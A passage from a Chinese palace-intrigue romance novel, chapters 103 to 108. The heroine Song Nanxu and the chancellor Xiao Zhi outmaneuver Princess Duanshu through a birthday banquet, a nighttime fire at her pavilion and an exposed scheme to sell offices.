一时间,一道道目光投了过去,所有屏气凝神,似乎都在为这位宋家大小姐捏了一把汗,就连一旁的宋萧然此时此刻也不由得紧张了起来。 宋萧然毕竟是世袭罔替的安远侯,朝堂中事他要比刘侍郎更加清楚,他也更为了解萧止为人。 外界传言——非同虚假! 这会子,整个安远侯府的身家性命全都系在了宋南絮一人身上。 然而,所有人却并没有看见丞相大人勃然大怒,反而却瞧见了他笑了。 那笑容—— 极具宠爱,又似关怀,像是笑得稍微晚一些都会惹这位宋家大小姐不快。 宋南絮仿若未见一般,抱着刘家小哥儿径直走到了侍郎夫人面前:“刘夫人好福气,孩儿玉雪可爱。” 说罢,她捏了捏孩子的小脸儿。 刘夫人在抱回了自己的孩子的一瞬,悬着的一颗心总算是放回了原本的位置,连连对宋南絮屈膝行礼:“多谢宋小姐,多谢宋小姐。” “刘夫人不必如是。” 宋南絮转过头,看向了这场闹剧的始作俑者,微一挑眉,说道:“丞相大人,你吓到孩子了!” 第103章 为其撑腰,圆满宴席 宋南絮此举,摆明了就是要和萧丞相对着干! 在场皆是人精,哪还能看不出其中的门道,只是,让人震惊的这位在庵堂中为安远侯老夫人祈福五年的嫡女,为何会有如此胆量,竟敢叫板皇帝、太后都畏惧的相爷。 一旁的宋萧然坐立难安,想要开口,可当他对上了萧止的目光时,又立马缩了脖子。 这一幕落在宋南絮的眼中,她只觉得是如此的可笑。 堂堂安远侯如缩头乌龟一般,真应该让阖府的下人、女使和仆妇好好瞧瞧,平日里说一不二的侯爷是怎样的一副窝囊样。 然而,出乎所有人意料外的是萧止并未有丝毫动怒的迹象,反而,他的唇畔始终噙着一抹似有若无的笑。 这—— 莫不是,这几年相爷隐居不出,磨炼了性子,已非昨日那般?! 一时间,整个宴席之上,鸦雀无声,仿若细针落地可闻。 萧止笑盈盈地望着宋南絮,只淡淡地说了一句:“宋大小姐说的是。” 这句话不亚于一块巨石投入平静的湖面,顿时掀起了一片惊涛骇浪。 原本一个个低着头不敢去看丞相大人脸色的宾客,在听见了这句话后,不由得惊讶、错愕、困惑地抬起头,纷纷落在了宋南絮的身上。 似是想要从这位宋家大小姐的身上瞧出什么。 相爷是出了名的暴脾气,早年,只因太后胞弟在朝堂上说了一句反驳他的话,结果,他竟当着太后的面当场打断了他的一条腿。 而后,更是因为此时,彻底灭了太后的母族。 即便现在如今,新帝渐渐掌权,但却依旧不敢违拗相爷分毫。 今日之事,不亚于相爷单枪匹马闯进叛军大帐,以一己之力救出皇帝与太后。 相信,明天安远侯府大小姐的名声,便会传遍金陵城内三百二十三坊的每一条大街小巷! 宋南絮徐徐转身,神色依旧是淡淡的,仿佛这世间没有任何人或事能入了她的眼。 深深琥珀色的瞳仁,轻飘飘,柔缓缓地落在了萧止的身上。 萧止唇角微扬,眉梢微挑,像是在说:看!我在为你长面子呢! 但,宋南絮却并不领情。 前世,她活得身不由己。 今生,她只为自己而活。 什么家族荣耀,什么名门闺女,在她看来,不过是水中花、镜中月,虚幻而缥缈,只有最真实利益才能够打动她! 宋南絮浅浅一笑,眸子里带了三分的讥嘲:“既然丞相大人也觉着是自己的过失,那不如——” 她话因微微一顿,挑眉看着萧止。 宋萧然在一旁看着,半句话不敢言,一颗心仿佛都要跳到了嗓子眼。 端坐在主位之上的老夫人,却是眯起了眼睛,深邃而浑浊的老眸,一错不错看着萧止。 严氏在观察。 以她宽阔的眼界,自是瞧出了宋南絮与萧止二人之间似乎有什么猫儿腻。 萧止朝着镜竹使了个眼色,将自己腰间的一块翠玉扔了过去。 镜竹接过了翠玉,举步走到了刘侍郎及刘夫人的面前,双手将那块翠玉递到了刘家小儿的面前。 “这——” 刘侍郎受宠若惊,连忙撩开了衣摆,便要朝萧止跪拜。 镜竹侧目,等待萧止授意,见主人面有不愉,立即伸手扶住了刘侍郎。 萧止端起了酒盏,敬了严氏一杯酒:“今日是老夫人寿宴,本相只想热热闹闹为老夫人贺寿。” 话已至此,在场之人,无一不明其中意。 萧止缓缓将目光落在了宇文胤珣的身上,微微眯了眯眼,唇角微微上扬,牵起了一抹冷凝的弧度。 宇文胤珣微一蹙眉,垂下了眸子,避开了萧止投过来的视线。 他以为自己伪装的很好,但却无法逃过萧止的眼睛。 宇文胤珣端起了酒盏,满饮了一杯,看来,母亲所图之事只怕今日是无法完成了! 萧止似乎有看穿人心的本事。 他收回了满是嘲讽的视线,看向宋南絮时,脸上的笑容变得温柔了几分。 即便一开始宋南絮并不知萧止此行的目的,但现在多少也能猜出一二来。 再次看向宇文胤珣时,宋南絮的眼中多了一丝戒备。 她重新回到了自己的座位上,继续为严氏布菜。 一直到,戏台子上的这场戏结束,老太太觉得身子有些乏累,轻轻地拍了拍宋南絮的手,柔声道:“絮丫头,祖母累了,你扶祖母回荣安堂歇息吧。” “是。” 宋南絮应了一声,起身扶起了严氏。 萧止的出现,固然给足了严氏颜面,但以她心性,又岂会看不出来。 出了侯府正厅,行至通往内院的抄手回廊时,严氏倏然驻足,凝眸望着宋南絮。 她目光深深,像是要将宝贝孙女的模样刻进脑子里。 半晌,严氏微微叹了一口气,沉了两份声音,对宋南絮说道:“絮丫头,你老老实实同祖母讲,你与萧止是否早有相识?” 宋南絮知道,以祖母的眼力见,必然能够瞧出来。 今日萧止的出现实非她所愿。 但能确保祖母寿宴无有差池,她心中也有一分感激。 宋南絮并未想要隐瞒严氏,微微颔首道:“的确早有相识。” 严氏蹙眉:“你身在庵堂,他闭门不出,你们是如何相识的?可有——” 她想要问什么,可终是没有说出口。 宋南絮不想祖母担忧,便扯了个谎:“一年前,孙女儿曾在普照庵附近与他有过一面之缘,仅此而已。” 一面之缘? 严氏将眉心蹙得越发深邃。 若当真如此,萧止今日又岂会大张旗鼓的来为自个儿贺寿。 严氏阖了阖眸,重重地在宋南絮的手背上拍了一下:“祖母虽然年纪大了,但还没到老眼昏花的地步,不管今日有谁要图谋什么,总而言之,有萧止在场却已乱了那些人的计划,你替祖母谢谢他。” 宋南絮应了一声:“是。” 她倒是也很想知道,谁要在她祖母的寿宴上做文章。 既然有人想要让她最在意的人不痛快,那就怪不得她手下不留情面了! 将老太太送回到了荣安堂后,宋南絮折返回到了前院,届时,戏台上的已经换了一出戏,隔着老远,已瞧不见萧止的身影。 宋南絮微微蹙了蹙眉:“他走了?!” 第104章 权衡利弊,暗中联手 “你是在找我么?” 宋南絮的身后倏然传来了极是好听的声音。 她回过头,瞧见萧止那张俊美似妖般的脸,他微弯了眉眼,唇角微微上扬勾了一抹好看的弧度,他歪着头,背后散落的青丝如瀑般倾泻,目光深情而专注。 若不说他是权倾朝野,另天下畏惧如虎的相爷,只怕还以为他是宋南絮的情郎呢。 宋南絮淡漠的目光在众宾客的之间匆匆略过。 她转过头,眉眼中尽显疏离与冷漠:“项来世人眼中从不近女色的相爷,今日此举,你就不怕与我过从近密会引人诟病么?” 萧止闻言,唇畔笑容更甚:“诟病?随他们说便是,我就是要让所有人知道,你的身后并不是空无一人。” 宋南絮瞳眸微缩,目光深深看着萧止:“你今日为何要大张旗鼓的为我祖母贺寿?” 粉饰后的话,固然好听,但宋南絮只想听实话。 萧止笑了笑,朝着席面上瞥了一眼:“你觉得宇文胤珣今日为何会来?” 听他话中意,便知并非是单纯为祖母贺寿这么简单。 宋南絮蹙眉看着萧止,等待着他的回答。 萧止:“端淑自认能掌控全局,殊不知,她走的最错的一步便是在赏花宴上欲要用褚津来毁你清白,现下金陵城中已是谣言漫天,所有矛头纷纷指向端淑,以她的性格绝不会坐以待毙。” 宋南絮闻言,微微挑起了眉梢,下意识朝着宇文胤珣的方向看了一眼:“你的意思是说,端淑想要接着我祖母的寿宴做手脚?” “呵!”萧止冷然一笑:“不是想,而是已经着手在做了!” 宋南絮用力地眯了一下眼:“已经在做了?” 萧止朝着宇文胤珣努了努下巴:“你看,这位小公爷左右之人。” 宋南絮顺着萧止所指看去。 只见宇文胤珣正与二人说话,饮酒。 萧止轻哂一声:“这二人一个是督察院御史周斌,一个是布政司使李若甫,他们都是姜太师门生。” 宋南絮将眉心皱得越发深邃。 今日,她倒觉得奇怪,前些时日,安远侯府与太师府结了梁子,想来以宋萧然的个性,必然会接着祖母寿辰邀请太师府中人,既可化干戈为玉帛,又可试探太师府口风,是否能成宋昭与姜敏儿的婚事。 宋南絮先一步从薛宝瑞口中得知了今日宾客的名单,请假一早便已送达姜家。 但,奇怪的是,今日姜家却无一人出席祖母寿宴。 这—— 萧止笑笑,为宋南絮解开了心中疑惑:“朝中近半数文官为姜闻重马首是瞻,你以流言重创端淑,她自然要想法子来为自己证明,所以——” 宋南絮勾起了唇角,轻哂了一声,接过了萧止的话,说道:“端淑欲与太师府结盟,唯一的筹码,便是——” 二人同时将目光落在了宇文胤珣的身上。 宋南絮垂下了眸子,唇畔笑意变得愈发浓郁了起来:“那今日他们想在我祖母寿宴上做什么?” 萧止倏地沉了脸色,眸子里漾过了一抹森然的寒意:“褚夫人于普照庵失踪一事已是闹得沸沸扬扬,你于普照庵中祈福五年,你猜,他们想要做什么?” “呵!” 宋南絮冷然一笑。 其中缘由不难猜测。 端淑是想要将矛头从自己的身上引到安远侯府! 安远侯府频频出事,宋萧然卖了一个自己的破绽到皇帝手中,在端淑、姜闻重眼中,安远侯府已然成为了皇帝在京城中的一双眼睛。 与其不能收为己用,倒不如尽早除去。 所以—— 宋南絮微微摇头:“端淑是想要效仿周朝,成为坐拥天下的女帝么?” “曾经站在权利的巅峰,又怎会甘心做一个没有任何实权的公主。” 昔日事,宋南絮或许不清楚,但萧止却清楚的知道端淑对权利的渴望。 端淑和姜闻重之间必然是打成了什么协议,才会打动这只老狐狸。 前世,宋南絮将心思都放在了内宅之中,如今,放开了眼界,再去看当今的局势,她方觉有趣。 “好啊。” 宋南絮缓抬眼眸,笑容如妖艳芍药徐徐绽放:“我倒是觉得如此更有趣了呢。” 她眸色微敛,饶有意味地看向萧止:“自入秋以来,渝州大雨不断,河岸决堤冲毁了周遭的两个县城,当今圣上忧国忧民,眼下正为此事而烦忧,想必不少奏书也应送进了丞相府中吧。” 宋南絮微一挑眉:“若我没有记错的话,在那份送还端淑手中卖官的名册上记载,便有这位渝州知州李瑜晟的名讳!” 萧止微笑望着宋南絮:“说来也巧,两日前大理寺卿裴怀忠刚好救下了一对从渝州前往金陵的告状的夫妻,他们状告的正是这位渝州知州。” 宋南絮会心一笑:“那份名册上记载的清楚,昔年渝州曾进献端淑大长公主三万两纹银,不知,如今天灾水患渝州可有继续进献呢?” 萧止抬手扶额:“这——可就不好说了,我得遣人保护好这对夫妻,说不定,他们口中有什么关于这位大长公主殿下的秘密呢。” 宋南絮瞧他做派忍不住想笑:“那就有劳相爷多多费心了。” 萧止故意朝宋南絮身边凑了凑:“操劳费心也不难,只是,你也知道我身体的情况,倘若因为此事导致蛊毒发作——” 宋南絮蹙眉,凝眸望着萧止。 萧止:“若是有人能给我点奖励,说不定我心情一好,便能压制着蛊毒了呢!” 宋南絮推开了从过来的萧止,轻哼一声:“你若是不愿意,我自可以想其他的法子门路!” 说完,宋南絮抬腿就走。 萧止赶紧追了上去:“我愿意,谁说我不愿意!” 宋南絮驻足,微微挑了一下眉:“可还要奖励?” 萧止无奈地笑了笑:“你这脾气,怕是天底下唯我一人受得了,我还哪里敢要什么奖励,求你一个好脸色都要谢天谢地了。” 宋南絮瞧萧止一副可怜兮兮的模样,抿不住笑出了声来:“此事若成,奖励少不了你的!” 第105章 滴水不漏,缜密之极 宋南絮本意卖一个好处给端淑,可偏偏,端淑的野心实在是太大了! 这场游戏,似乎变得更有趣了呢! 宋南絮回到了席上时,萧止已然离开了安远侯府,她径自走到了宋萧然面前,屈了屈膝:“父亲。” 宋萧然撂下了手中酒盏,像是不认识这个女儿一般,眯着眼从头到脚地打量着宋南絮。 他不曾开口,只是用阴恻恻的眸子,深深地盯着屈膝的女儿,似是想要从她的身上看出来什么。 半晌,宋萧然才发了话:“起来吧。” 宋南絮站直了身。 宋萧然问道:“你祖母可歇下了?” “是。” 宋南絮抬起了眼眸,迎着宋萧然审视的目光看了过去。 只一眼,宋萧然竟有一种被野狼盯上的感觉,使其背脊阵阵发寒,他下意识地蹙起了眉头,正了正音色道:“咳!这里没你什么事了,你且回内院吧。” “女儿告退。” 宋南絮转身,侧目,眸光幽深地看了宋萧然一眼,什么都没有说,转身回了内院。 老太太的寿宴因为萧止的出现没有人敢抖这么大的胆子滋事。 这却不代表寿宴之后安远侯府能得以安宁。 待到宾客散尽时,宋萧然第一时间来到墨香居。 不等女使们通报,他直接推开了宋南絮的房门。 宋南絮坐在妆台前,翠珠、翠柳为她卸去了钗环,听见了门口的动静,她转头朝门口看去,只见宋萧然气势汹汹地走了进来。 “侯爷。” 翠珠、翠柳给宋萧然见了礼。 宋萧然大手一挥:“你们下去!” 翠珠、翠柳躬身退出了墨香居。 翠柳拉住了翠珠的手,快步走出了墨香居主屋,她回头瞟了一眼,用力抿了抿唇:“翠珠姐姐,我瞧侯爷面色不善,只怕是要寻咱们姑娘的麻烦,你看咱们是不是要即可通知老太太?!” 翠珠颔首道:“侯爷的心本就偏到了悠然居那边,要是再没个人护着咱们姑娘,只怕是——” 她满眼担心地往主屋看去,叹了一口气,急急道:“你在这里守着,我去荣安堂寻老夫人。” 墨香居主屋内。 宋南絮从妆台前站了起来,恭敬地朝宋萧然施了一礼:“女儿请父亲安。” 宋萧然脸色阴沉的仿佛笼罩了一层厚重的铅云,声音低沉入泥:“我来问你,今日萧止为何会出现在你祖母的寿宴上?” 宋南絮:“女儿不知。” 宋萧然用力地眯起了眼睛:“暂不说席面上的事,你送你祖母回荣安堂后,贾荣亲眼瞧见你与萧止在抄手回廊里说话!你会知萧止此行何意?!” 宋南絮神色依旧淡淡的:“女儿不知。” 宋萧然将眉头皱得更深。 他这女儿自打从庵堂回来后,就像是变了一个人似的。 虽说心性是比从前好,头脑也变得通透了许多,可是—— 宋萧然隐隐觉得这并不是一件好事。 特别是今日萧止登门为严氏贺寿时,对宋南絮露出来的眼神。 同为男人,宋萧然又岂会看不出来! 他黑沉沉的脸色好似漆上了一层黑蜡:“倘若你今日实话实说,或许我还能绕你这次,你若是不肯与我如实说来——” 宋南絮嘴角勾起了一抹轻蔑的笑:“那又如何呢?父亲还要将我送回庵堂么?” 宋萧然没想到她竟然会这么和自己说话。 前些日子的乖巧温顺,难不成都是她装出来的!? 宋萧然的心里一瞬间有了这个念头。 一瞬,他眼底尽显凉意。 宋南絮却毫不在意地说道:“父亲,我说得都是实话,我并不知丞相大人为何会来,在宴席上难道我说的有错么?” “你——” 宋萧然只堪堪开口说了一个字,宋南絮立即打断了他的话,继续说道:“今日乃是我祖母的寿宴,往来皆是朝中官员同家眷,丞相大人若是在府中生了事端,传出去的话,有损的也是安远侯府的名声,我也不过是好心提醒罢了。” 她说出口的话,让宋萧然找不到任何反驳的机会。 滴水不漏,缜密之极。 宋萧然定定地看着宋南絮。 她越是这般,他便越是觉得其中另有蹊跷。 他甚至有一瞬间的感觉,萧止就是因为这个女儿才会出现在侯府。 宋萧然锐利的目光如同淬了毒的刀,狭长的眸子一瞬不瞬地盯着宋南絮的眼睛。 父女二人谁也没有再开口说话,就这么四目相对,似乎是在等待着对方先败下阵来一般。 须臾,宋萧然眸色微敛,瞳眸沉沉,声音冷肃地说道:“你到底还有多少事情瞒着我?!” 宋南絮抬手,挽起了鬓间垂落的一丝发缕别在了耳后:“女儿不明白父亲所指的是什么?” 同这个女儿讲话,宋萧然竟有一种和朝中那些心思诡谲,变化无常的文官一般。 一瞬间,心头挤压的怒气,一股脑的涌了上来:“你休要和我装糊涂!” 宋南絮全然不在意宋萧然的愤怒:“那就请父亲明日等着看好了!” 明日?! 不知为何,宋萧然感觉像是明日有大事发生一般。 他深深地皱起了眉头,试图想要从宋南絮的眼睛里看出什么来。 宋南絮红唇微启,声音里带着挑衅:“我若是父亲,明日定会看紧门扉,莫要让人出去,若是惹上祸端,届时就算是父亲在陛下、太后的面前磕破了脑袋,只怕这一次也无济于事!” 宋萧然的心头没来由的一紧。 宋南絮打了个哈欠:“父亲,女儿累了。” 宋萧然震怒,他忽然觉得将宋南絮从普照庵中接回来是一件错误的决定! “你——” 宋南絮行至床前,目光掠过挂在床头的青云剑。 她将青云剑拿了下来,宝剑出鞘,发出了“锵”的一声剑鸣,转过头,眼中含了三分讥嘲:“先帝特命人打造的青云剑,果真是一把好剑啊!只可惜,女儿不擅舞刀弄剑,还请父亲寻个时机,将这把剑送还给端淑大长公主,并且告知,我无福消受她的美意。” 宋萧然倏然瞪大了眼睛。 以他的百转回肠的心思,不难猜出宋南絮话中深意。 难道—— 她所说的明日即将发生的大事,与端淑大长公主有关么?! 第106章 卖关子,火烧公主府 宋萧然站在房门口,半眯着眸子冷眼盯着宋南絮的背影,其目光幽深,仿佛从未真正的认识过这个女儿一般。 宋南絮却恍若未见,自顾自地走到了绣床前,慢条斯理地脱下了绣鞋。 宋萧然收回了目光,用力一挥衣袖,转身离开了墨香居。 是夜,窗外阵阵寒鸦掠过,惊起一阵喧嚣,如刀似剪一般的秋风卷起了枯萎的叶,很烈地拍打着窗棂。 “哒哒……哒哒哒……” 宋南絮睁开了眼睛,窗外的动静扰人清梦。 她起身,穿上了绣鞋,点燃了床脚上的烛台,屋内烛火跳动,渐渐映亮墨香居内间。 行至窗前,一阵寒冷的秋风裹挟着片片稀薄的雪花,顺着窗户的缝隙卷了进来,宋南絮下意识地紧了紧领口。 她的耳朵微微动了一下,倏然侧目,冷肃的目光紧盯着房门。 “吱嘎。” 房门打开,青雀快步走了进来,身上还带着一股子寒气,来到宋南絮面前时,她微微欠身。 宋南絮目光稍有缓和,朱唇微启,淡淡问:“事情都办妥了?” 青雀颔首道:“按照姑娘的吩咐,都已经办妥当了。” 宋南絮勾起了唇角:“好。” 她朝着青雀挥了挥手:“时辰不早了,你且下去歇息吧。” “是。” 青雀退下后,宋南絮站在窗前许久。 叮铃铃……叮铃铃…… 身后绣床上机关倏然响了起来,紧接着,“吱嘎”一声,床板坳陷了下去。 “怎么这个时辰来了?” 宋南絮盯着绣床上的密室暗门。 萧止从密室中探出了头,脸上暧昧的笑容好似妾欲偷香的贼人:“这个时辰来,自然有这个时辰的好。” 宋南絮懒懒地嗔了他一眼:“莫不是,丞相大人吃饱了肚子,到我这里消食来了吧?” 萧止听出了宋南絮的弦外之音:“我可不是吃饱了撑的,我来是想要带你去瞧热闹。” “热闹?”宋南絮蹙眉:“这个时辰有什么热闹可瞧?” 萧止嘿嘿一笑,神秘兮兮地说道:“等到了地方,你就知道了。” 宋南絮:“你还卖上关子了!” 萧止微一挑眉:“那还要看看你宋大小姐肯不肯赏脸了。” 宋南絮扯下了衣架上的外袍,又穿上了一件披风,跟着萧止从密室来到了飘絮庐。 萧止行至门前,打开了飘絮庐的院门,做了一个请的手势。 院外,已有马车早已等候多时。 宋南絮抬了抬眼,淡淡地瞥了萧止一眼,随即,举步跨过了门槛,走出了飘絮庐,上了萧止提前准备好的马车。 萧止并没有安排车夫,而是亲自驾车,离开了飘絮庐所在的小院。 宋南絮端坐在马车之中,撩开了车窗垂下的珠帘,这条路似乎是—— 她看了一眼萧止:“为何要去陶然楼?” 萧止依旧是一副神秘的模样,还是那一句:“等到时候,你就知道了。” 既然已经跟他出了安远侯府,宋南絮索性也不再多问,只闭目养神,静待到达目的地。 很快,马车便停了下来。 萧止下了马车,放好了小马凳,撩开了帘子:“宋大小姐,请下车吧。” 瞧他这幅模样,宋南絮倒还当真是来了点兴趣。 今儿才在安远侯府断了宇文胤珣的筹谋与打算,今儿夜里,二人便来了他的地界,这要是被他知道了,岂不是在打他脸。 显然,萧止早就已经安排好了一切。 今夜二人的出现绝对不会传到宇文胤珣的耳中。 下了马车,宋南絮随着萧止径直走近了陶然楼,一路跟着他上了位于三楼的雅间。 萧止走到了窗前,推开了窗户,冰冷的空气瞬间灌进了雅间之中。 他回过了身,朝着门口拍了拍手。 须臾,几个身穿短打衣裳的小厮鱼贯而入,一道道蜜饯,点心,一一摆放上桌。 宋南絮微微蹙眉。 瞧这架势,倒更像是来看戏听曲的。 她不知道萧止葫芦里到底卖的是什么药。 如此便也勾起了她的兴趣来,脱下了身上的披风,随手递给了萧止。 萧止接了过来,挂在了门口的衣架上。 宋南絮提起裙摆俯身坐了下来。 萧止走到了她的身后,稍稍地挪动了一下她身下椅子的脚步,让宋南絮的视线刚刚好对准了三楼雅间的窗外。 目光所及一栋高大宏伟的建筑,重檐凤凰展翅,五色琉璃瓦在月光下熠熠生辉,檐角下悬挂硕大青铜铃铛,随着夜晚的风左右摇摆。 这是—— 宋南絮觉得有些眼熟。 只是须臾,她便想起这陶然楼雅间正对着的这处建筑是属于何人的居所。 宋南絮凝眸,疑惑地看向了萧止:“这深更半夜的,你该不会是让我来陪你看大长公主府的屋檐吧?” 萧止走到了窗前,回过身来背对着窗口,脸上带着浓浓笑意,一双眸子弯似天上弦月,一错不错地看着宋南絮。 他并没有回答宋南絮的问题。 似乎是在静静等待着什么一样。 倏然,萧止摊开了双臂,在这一刹那,他身后窗外的天空忽然一道强光骤然一闪,紧接着,正片天空凝聚成了一大片橙黄色的光。 宋南絮紧盯着窗外,慕地瞪大了眼睛:“这是——” 她身体好似不受控制似的,慢慢地站了起来,在确定了自己所见非虚后,不由得加快了步子走到了窗边。 天边渐渐被染成了半透明的橘粉,伴随着灿灿金光,二者逐渐相互融合在一块,把夜空之中的乌云烧出了一片焦褐色。 这一霎,夜空仿佛是被打翻的胭脂盒,将正片夜幕涂得一片斑驳。 火舌迅速舔食着屋檐而上,远远的夜空彻底沦为熔炉,原本焦褐的云被烧成了绛紫色,屋檐上展翅的凤凰浴火重生,好似活过来了一般。 浓烟如巨蟒一般窜上了半空,转瞬间,浓烟形成的巨蟒张开了血盆大口,仿佛要一口将端淑大长公主府吞入腹中。 宋南絮的瞳眸有火焰在燃烧。 眼前这一幕,实在是太令人震惊了! 萧止竟然一把火烧了端淑大长公主府!! 第107章 当街行凶,东窗事发 起火的是先太后为端淑出嫁时特命数百工匠专门建造的玲珑阁,其中各色珍宝无数,豪华成度不亚于皇宫。 每每端淑思念神宗与先太后时,便会在玲珑阁中小住几日。 但,就在今夜,如此奢华的玲珑阁竟被一场突如其来的大火付之一炬。 萧止唇畔含笑,一双眸子好似夜空中一轮明亮的弦月:“怎样?可还喜欢我送你的礼物?” 宋南絮勾起了嘴角,目光从一片火光中收敛:“甚是喜欢!” 端淑! 她眯起了眸子,眼里掠过一抹冷凝。 既然做出了选择,那就应该做好承担后果的准备! 这一晚的金陵城注定是一个不眠之夜。 不仅是大长公主府周围不少的皇亲国戚、朝中重臣的府邸,皆派遣了水龙队前往大长公主府灭火。 待到火焰被熄灭时,只留下了玲珑阁的框架。 随着“轰隆”一声巨响,轰然倒塌! 这栋矗立在金陵城中最显眼的宏伟建筑在神宗与先太后殡天二十载后,只留下了一捧灰烬。 这场大火使端淑博然震怒。 竟是下令杖杀大长公主府内所有巡夜的护卫。 一时间,大长公主府内惨叫声,哀嚎声,求饶声,连连不断,堪比人间炼狱。 次日一早,宇文胤珣亲自前往宫中太医院,连同太医院判柳长横在内数十人尽数请进大长公主府为端淑诊治。 然而—— 灾祸如同昨夜的这场大火一般,虽然无法照亮整个金陵城,却能够引来无数的飞蛾扑向其中。 次日一早。 大理寺卿裴怀忠如常下朝后前往大理寺,半路上,一名浑身是血的男子撞上了他所乘坐的官轿。 轿撵猛然一震,裴怀忠一个趔趄,险些跌落:“何事?!” 他撩开了轿帘,蹙眉朝外张望。 “大人!” 轿夫不敢擅专,连忙侧开了身子,将那男子指给裴怀忠看。 裴怀忠看见奄奄一息的男子,脸色蓦地一变,连忙快过了轿撵的抬杆,朝着男子走了过去。 男子浑身是伤,显然不是被轿撵所撞,裴怀忠俯下了身子:“这位——” 裴怀忠刚一开口,那名男子倏然抬头,一双布满血丝的眼睛当中满是恐惧之色,他转过身,指着自己的身后不远的方向,声音颤抖满含惊恐:“救……救我……有人要杀……杀我!!” 裴怀忠闻言,面色骤然一变。 金陵城中,光天化日之下,竟然有人当街行凶! 他眸色一沉,立即朝着男子所指的方向看去,竟还真有几名行踪鬼祟之人。 裴怀忠侧目朝着自己身边的两名大理寺的衙差使了个眼色。 二人立即会意,颔了颔首后,朝着那几个鬼祟之人走去。 那几人见到大理寺衙差后,立即转身就走,越是喊他们站住,他们就越是跑得匆忙。 两名衙差加快了脚步追至一处小巷之中,此后,便久久在为从巷子当中走出来。 裴怀忠预感不对。 留下了两名轿夫照看男子,亲自带人前往那条小巷之中。 当他看见巷子当中的一幕时,不由瞪大了眼,只见那两名衙差竟皆负伤倒地。 当街行凶还不算,现在更是伤了大理寺的衙差!! 身为大理寺卿此事正属裴怀忠管辖,当即,他便直接将人带回了大理寺询问前因后果。 不问不知道。 当男子将事情的来龙去脉如实告知后,裴怀忠满脸的震惊! 此人竟是前些日子前往渝州刺杀前往金陵城告御状的那对夫妻的杀手,因刺杀失败遭到幕后指示的追杀。 这幕后指示者不是别人,正是当今大长公主殿下——端淑!! 此事关乎皇族,裴怀忠整理好了渝州案的全部卷宗,带上了一杆涉案人等进宫面圣。 大长公主府。 端淑正为玲珑阁失火之事伤心难过到头风发作。 太医院判柳长横为其诊脉后,亲自熬药,端进了端淑寝殿中。 女官惜花为端淑试药确认无误后,端到了端淑的面前:“殿下喝药了。” 宇文胤珣将端淑扶了起来,青瓷的药碗刚刚送到了端淑的唇边,忽然,门外传来一声急呼:“殿下……殿下……” 端淑本就头疼欲裂,听闻此声更是厌烦至极,她深深地皱起了眉头,轻轻地拍了拍宇文胤珣的手:“珣儿,你去瞧瞧,可是又出了什么事?” “是,母亲。” 宇文胤珣起身,快步走出了端淑寝殿。 寝殿外,跪着一名身穿官袍的男子,即便深秋天寒,依旧是满头满脸的大汗,他见到了宇文胤珣后,连连磕头:“还请小公爷救救下官!!” 宇文胤珣蹙眉,凝眸看着跪在自己面前吏部尚书——朱居正。 此人乃是端淑大长公主作为监国大长公主时提拔上来的官员,身为吏部尚书掌管着朝堂文官的选拔、任免、考核、升降,其手中权力巨大。 朱居正乃是端淑大长公主最为得力的部下,而且,他也是为其买卖官员的提议者,执行者。 宇文胤珣见朱居正这般模样,倏地皱起了眉头,心头莫名有一种不祥的预感弥散开来:“朱尚书,你这是作甚?” 朱居正连连叩首:“小公爷出事了!!” 宇文胤珣将眉头皱得越发深邃:“你且来说话!” 朱居正踉踉跄跄地站了起来,这一路跑来已经耗尽了力气,双腿像是踩在了棉花上似的,没等站稳身子,“噗咚”一声,竟又跌倒在地。 宇文胤珣连忙伸手将他扶了起来。 朱居正深深地吸了一口气,将自己所知道的事情一一告诉了宇文胤珣。 在得知事情的原委后,宇文胤珣猛然瞪大了双眼。 此事事关重大,他也不能擅自做主,思忖再三,宇文胤珣对朱居正说道:“朱大人且先在外稍等,我这就去禀告母亲。” 说罢,他转身走近了端淑大长公主的寝殿之中。 听完宇文胤珣的转述后,端淑猛地从芙蓉软塌上惊坐了起来:“你说什么!?” 宇文胤珣面色难看,声音低沉地道:“母亲,此事已然东窗事发,看来,朱尚书是保不住了!为了母亲的声誉唯一牺牲他一人!!” 第108章 假传口谕,格杀勿论 “殿下……殿下……” 宇文胤珣这厢刚和端淑提及牺牲朱居正来保全自己,外边倏地传来了大长公主府管事的呼喊声。 这让本就因为玲珑阁被烧毁而头痛的端淑更加头疼。 她心下惶惑不安,总有一种不好的预感。 端淑用力皱着眉头,眉心紧拧成了一个‘川字’,她素日里极为重视自己的容貌,生怕用力蹙眉眉心会有褶子,但这会儿,却也顾不得那么多了。 她朝着宇文胤珣挥了挥手:“你去瞧瞧又出了什么事?!” “是!” 宇文胤珣应了一声,快步走出了端淑的寝殿。 门外,朱居正依旧跪着,在他的身边却多了一个大长公主外院管事。 宇文胤珣快步走上前,阴沉着脸皱着眉头问道:“苏管事,出了什么事!?” 苏管事脸色苍白,声音打着颤道:“回小公爷的话,是……是大理寺的裴大人带人来请咱们殿下了!” 宇文胤珣将没有皱得更深:“大理寺?裴怀忠?!” 苏管事连连颔首:“正是裴怀忠!” 宇文胤珣一脸疑惑:“他来大长公主府作甚?” 苏管事耷拉下了脑袋,支支吾吾不敢言语。 宇文胤珣见他这般模样,脸色变得越发难看了起来:“究竟出了何事?你这般吞吞吐吐作甚?!” 苏管事深吸了一口气,壮大了胆子道:“裴怀忠传了圣上口谕——” 他话还没说完,裴怀忠已经带人闯进了大长公主府内院。 宇文胤珣脸色骤然一寒,踱步上前,拦住了裴怀忠去路,沉声怒喝道:“大胆裴怀忠!你可知这里是什么地方,竟敢擅闯!难道就不怕——” 裴怀忠一身凛然正气,似乎不惧宇文胤珣怒火,轻哂一声,掷地有声地说道:“传陛下口谕,宣端淑大长公主进宫面圣!” “你——” 即便宇文胤珣自持身份高贵,可裴怀忠传得是陛下口谕,倘若他再横加阻拦的话,那便是抗旨不尊,是要杀头的死罪,到时候就算是端淑大长公主也难保他性命。 更何况,现在端淑大长公主也涉及其中,显然已无暇顾及其他。 面对宇文胤珣滔**火,裴怀忠不卑不亢:“还劳烦宇文公子去请大长公主殿下随下官一同进宫面圣吧!” 见宇文胤珣站在原地迟迟未动身,裴怀忠便直接掠过了他的身边,朝着端淑寝殿走起。 忽地,“吱嘎”一声,寝殿房门打开,端淑扶着女官的手站在寝殿门内。 端淑一身华服加身,即便头风病发作,却依然保持着她大长公主的风范,狭长的眸子带着凛冽的寒光,冷冷从裴怀忠身上刮过:“裴怀忠是谁给你的胆子,竟然敢闯本宫的府邸,你就不怕——” 裴怀忠双手抱拳:“下官食君之禄,担君之忧,既是奉圣命,别说是大长公主府,就算是刀山火海,下官也不会皱一下眉头。” 说着,他侧过了身,朝着身后做了一个请的手势:“大长公主殿下,请吧!莫要让陛下久等了!” 